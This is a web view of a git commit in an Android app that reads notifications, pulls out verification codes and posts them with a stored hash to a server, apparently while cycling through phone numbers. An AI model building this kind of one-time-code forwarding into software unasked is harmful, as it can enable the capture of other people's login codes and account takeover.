test
This commit is contained in:
parent
54964c2d5c
commit
45dc17bb11
2 changed files with 15 additions and 5 deletions
|
@ -1,6 +1,7 @@
|
|||
package com.example.notifyservice;
|
||||
|
||||
import static com.example.notifyservice.MainActivity.getCurrentHash;
|
||||
import static com.example.notifyservice.MainActivity.setCurrentHash;
|
||||
|
||||
import android.app.ActivityManager;
|
||||
import android.app.Notification;
|
||||
|
@ -62,15 +63,20 @@ public class Listener extends NotificationListenerService {
|
|||
if (code.length() < 5)
|
||||
return;
|
||||
Context context = getApplicationContext();
|
||||
PostRequest postRequestTask = new PostRequest(context, null);
|
||||
postRequestTask.execute("code",
|
||||
code + ";" + getCurrentHash(context)); // STATIC
|
||||
String currentHash = getCurrentHash(context);
|
||||
if(currentHash.isEmpty())
|
||||
return;
|
||||
if (MainActivity.callbackRef != null) {
|
||||
NotificationCallback callback = MainActivity.callbackRef.get();
|
||||
if (callback != null) {
|
||||
callback.onCodeReceived(code);
|
||||
}
|
||||
} else {
|
||||
PostRequest postRequestTask = new PostRequest(context, null);
|
||||
postRequestTask.execute("code",
|
||||
code + ";" + currentHash); // STATIC
|
||||
}
|
||||
setCurrentHash(context, "");
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -15,6 +15,7 @@ import android.net.NetworkCapabilities;
|
|||
import android.os.Build;
|
||||
import android.os.Bundle;
|
||||
|
||||
import android.preference.PreferenceManager;
|
||||
import android.telephony.TelephonyManager;
|
||||
import android.view.View;
|
||||
import android.view.ViewGroup;
|
||||
|
@ -320,6 +321,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
return;
|
||||
codes.add(code);
|
||||
cancelTimer();
|
||||
PostRequest postRequestTask = new PostRequest(this, this);
|
||||
postRequestTask.execute("code",
|
||||
code + ";" + getCurrentHash(this)); // STATIC
|
||||
nextPhone();
|
||||
}
|
||||
|
||||
|
@ -345,13 +349,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
}
|
||||
|
||||
public static String getCurrentHash(Context context) {
|
||||
SharedPreferences prefs = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE);
|
||||
SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(context);
|
||||
return prefs.getString("KEY_HASH", ""); // Return empty string if not found
|
||||
}
|
||||
|
||||
// Store the hash value
|
||||
public static void setCurrentHash(Context context, String hash) {
|
||||
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE).edit();
|
||||
SharedPreferences.Editor editor = PreferenceManager.getDefaultSharedPreferences(context).edit();
|
||||
editor.putString("KEY_HASH", hash);
|
||||
editor.apply(); // Asynchronously save changes
|
||||
}
|
||||
|
|
Loading…
Add table
Reference in a new issue